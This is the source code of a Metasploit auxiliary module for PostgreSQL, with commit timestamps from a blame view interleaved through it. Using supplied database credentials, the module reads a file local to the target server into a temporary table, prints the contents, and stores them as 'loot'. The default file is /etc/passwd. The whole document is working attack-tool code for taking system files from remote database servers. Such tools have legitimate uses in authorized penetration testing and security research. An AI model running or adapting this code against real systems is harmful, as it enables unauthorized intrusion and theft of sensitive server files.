2010-02-08 22:34:09 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-02-08 22:34:09 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2016-03-07 19:19:55 +00:00
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2010-02-08 22:34:09 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::Postgres
|
|
|
|
include Msf::Auxiliary::Report
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'PostgreSQL Server Generic Query',
|
|
|
|
'Description' => %q{
|
|
|
|
This module imports a file local on the PostgreSQL Server into a
|
|
|
|
temporary table, reads it, and then drops the temporary table.
|
|
|
|
It requires PostgreSQL credentials with table CREATE privileges
|
|
|
|
as well as read privileges to the target file.
|
|
|
|
},
|
|
|
|
'Author' => [ 'todb' ],
|
2015-10-27 17:41:32 +00:00
|
|
|
'License' => MSF_LICENSE
|
2013-08-30 21:28:54 +00:00
|
|
|
))
|
2010-02-08 22:34:09 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('RFILE', [ true, 'The remote file', '/etc/passwd'])
|
|
|
|
], self.class)
|
2010-02-08 22:34:09 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
deregister_options( 'SQL', 'RETURN_ROWSET' )
|
|
|
|
end
|
2010-02-08 22:34:09 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def rhost
|
|
|
|
datastore['RHOST']
|
|
|
|
end
|
2010-02-08 22:34:09 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def rport
|
|
|
|
datastore['RPORT']
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
|
|
|
ret = postgres_read_textfile(datastore['RFILE'])
|
|
|
|
case ret.keys[0]
|
|
|
|
when :conn_error
|
|
|
|
print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect."
|
|
|
|
when :sql_error
|
|
|
|
case ret[:sql_error]
|
|
|
|
when /^C58P01/
|
|
|
|
print_error "#{rhost}:#{rport} Postgres - No such file or directory."
|
|
|
|
vprint_status "#{rhost}:#{rport} Postgres - #{ret[:sql_error]}"
|
|
|
|
when /^C42501/
|
|
|
|
print_error "#{rhost}:#{rport} Postgres - Insufficent file permissions."
|
|
|
|
vprint_status "#{rhost}:#{rport} Postgres - #{ret[:sql_error]}"
|
|
|
|
else
|
|
|
|
print_error "#{rhost}:#{rport} Postgres - #{ret[:sql_error]}"
|
|
|
|
end
|
|
|
|
when :complete
|
|
|
|
loot = ''
|
|
|
|
ret[:complete].rows.each { |row|
|
|
|
|
print_line(row.first)
|
|
|
|
loot << row.first
|
|
|
|
}
|
|
|
|
# No idea what the actual ctype will be, text/plain is just a guess
|
|
|
|
path = store_loot('postgres.file', 'text/plain', rhost, loot, datastore['RFILE'])
|
|
|
|
print_status("#{rhost}:#{rport} Postgres - #{datastore['RFILE']} saved in #{path}")
|
|
|
|
vprint_good "#{rhost}:#{rport} Postgres - Command complete."
|
|
|
|
end
|
|
|
|
postgres_logout if self.postgres_conn
|
|
|
|
end
|
2010-02-08 22:34:09 +00:00
|
|
|
end
|